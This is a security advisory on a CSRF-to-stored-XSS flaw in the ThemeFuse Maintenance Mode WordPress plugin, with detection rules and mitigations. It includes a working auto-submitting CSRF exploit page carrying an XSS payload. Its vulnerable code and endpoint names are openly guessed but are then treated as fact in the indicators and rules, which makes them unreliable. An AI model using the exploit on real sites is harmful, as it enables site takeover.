CVE-2024-51645

Executive Summary

CVE-2024-51645 is a Cross-Site Request Forgery (CSRF) vulnerability in the ThemeFuse Maintenance Mode WordPress plugin, affecting versions up to and including 1.1.3. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as enabling or disabling maintenance mode, or injecting malicious JavaScript (Stored XSS) into the plugin’s settings. The vulnerability is classified as a WordPress ecosystem issue, as it resides within a plugin designed for the WordPress platform. No official patch has been released, and no public proof-of-concept (PoC) or exploit code is currently available. The CVSS score is 7.1 (High), with a low attack complexity but requiring user interaction.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch is available, users must rely on manual mitigation or removal of the plugin. The lack of a patch increases supply chain risk, as compromised sites could be used to distribute malware or phishing pages.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 7.1 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the CSRF.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The vulnerability impacts the plugin’s settings and can lead to stored XSS, affecting other users.
• Confidentiality (C): Low (L) – Limited data exposure via XSS.
• Integrity (I): Low (L) – Attacker can modify plugin settings.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: High. Although no public exploit exists, the combination of CSRF and Stored XSS makes this a serious risk for WordPress sites using the plugin. An attacker could deface the maintenance page, steal admin session cookies, or redirect users to malicious sites.

Deep Dive & Mechanics

The vulnerability stems from a lack of CSRF protection (nonce verification) in the plugin’s administrative functions. The plugin likely uses AJAX or form submissions to save settings (e.g., maintenance mode status, custom HTML/CSS). Without a nonce, an attacker can craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to the WordPress admin-ajax.php or options.php endpoint.

The stored XSS component arises because the plugin does not sanitize or escape user-supplied input (e.g., custom maintenance page content) before saving it to the database. Once the CSRF request is processed, the attacker’s JavaScript payload is stored and executed whenever the maintenance page is displayed to any visitor.

Attack Flow:

1. Attacker identifies a WordPress site using ThemeFuse Maintenance Mode <= 1.1.3.
2. Attacker crafts a malicious HTML page containing a hidden form that submits a request to /wp-admin/admin-ajax.php?action=themefuse_mm_save_settings (or similar) with parameters to enable maintenance mode and inject a JavaScript payload.
3. Attacker lures an authenticated admin to visit the malicious page (e.g., via phishing email).
4. The admin’s browser sends the forged request, and the plugin saves the attacker’s settings.
5. The stored XSS payload executes on the maintenance page, potentially stealing cookies or redirecting users.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable plugin likely contains code similar to:

Vulnerable Code (PHP):

// No nonce verification
add_action('wp_ajax_themefuse_mm_save_settings', 'themefuse_mm_save_settings');
function themefuse_mm_save_settings() {
    update_option('themefuse_mm_enabled', $_POST['enabled']);
    update_option('themefuse_mm_content', $_POST['content']); // Unsanitized
    echo 'Settings saved.';
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_themefuse_mm_save_settings', 'themefuse_mm_save_settings');
function themefuse_mm_save_settings() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'themefuse_mm_save')) {
        wp_die('CSRF detected.');
    }
    // Sanitize and escape
    update_option('themefuse_mm_enabled', sanitize_text_field($_POST['enabled']));
    update_option('themefuse_mm_content', wp_kses_post($_POST['content']));
    echo 'Settings saved.';
    wp_die();
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress (latest version) on a local server (e.g., XAMPP, Docker).
2. Install ThemeFuse Maintenance Mode plugin version 1.1.3.
3. Create an admin user and log in.

Exploitation Steps:

1. Create an HTML file (exploit.html) with the following content:

<html>
<body>
<form id="csrf" action="http://target/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="themefuse_mm_save_settings">
    <input type="hidden" name="enabled" value="1">
    <input type="hidden" name="content" value="<script>alert('XSS')</script>">
    <input type="submit" value="Submit">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. Host the file on a server or send it to the victim admin.
3. Once the admin visits the page, the CSRF request is sent, enabling maintenance mode and storing the XSS payload.
4. Visit the site’s front page to see the XSS alert.

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=themefuse_mm_save_settings from non-admin IPs.
• Check for unexpected changes to the themefuse_mm_enabled and themefuse_mm_content options in the database.
• Use a Web Application Firewall (WAF) to block requests lacking a valid nonce.

Mitigation:

• Disable or remove the plugin immediately.
• If removal is not possible, add a custom nonce check via a WordPress plugin like "Code Snippets" or by editing the plugin’s code (though updates will overwrite changes).
• Implement Content Security Policy (CSP) headers to mitigate XSS.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/themefuse-maintenance-mode/themefuse-maintenance-mode.php (version <= 1.1.3)
• Database Option: themefuse_mm_enabled set to 1 unexpectedly.
• Database Option: themefuse_mm_content containing <script> tags or obfuscated JavaScript.
• Network: POST requests to /wp-admin/admin-ajax.php with action=themefuse_mm_save_settings and no _wpnonce parameter.
• Logs: WordPress debug log entries showing wp_ajax_themefuse_mm_save_settings calls from suspicious IPs.

Detection Engineering

YARA Rule

rule CVE_2024_51645_CSRF_XSS {
    meta:
        description = "Detects ThemeFuse Maintenance Mode plugin with CSRF/XSS vulnerability"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-51645"
    strings:
        $plugin_file = "themefuse-maintenance-mode.php"
        $vuln_func = "themefuse_mm_save_settings"
        $no_nonce = "wp_ajax_themefuse_mm_save_settings"
    condition:
        $plugin_file and $vuln_func and $no_nonce
}

Sigma Rule

title: CVE-2024-51645 CSRF to Stored XSS in ThemeFuse Maintenance Mode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSRF attempts targeting ThemeFuse Maintenance Mode plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=themefuse_mm_save_settings'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51645 CSRF to Stored XSS in ThemeFuse Maintenance Mode"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=themefuse_mm_save_settings"; http_client_body; pcre:"/themefuse_mm_content=[^&]*<script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete ThemeFuse Maintenance Mode from all WordPress installations.
2. Audit for compromise: Check the wp_options table for suspicious values in themefuse_mm_content and themefuse_mm_enabled.
3. Rotate admin credentials: If XSS was executed, assume session cookies were stolen and rotate all admin passwords.

Long-term Mitigation:

• Replace the plugin with an alternative that is actively maintained and patched.
• Implement a Web Application Firewall (WAF) with rules to block CSRF and XSS payloads.
• Enforce strict Content Security Policy (CSP) headers to prevent inline script execution.
• Regularly update all WordPress plugins and themes.

Patch Status: No official patch is available. Users must rely on the above mitigations or remove the plugin entirely.

Valters IT
Securing Digital Frontiers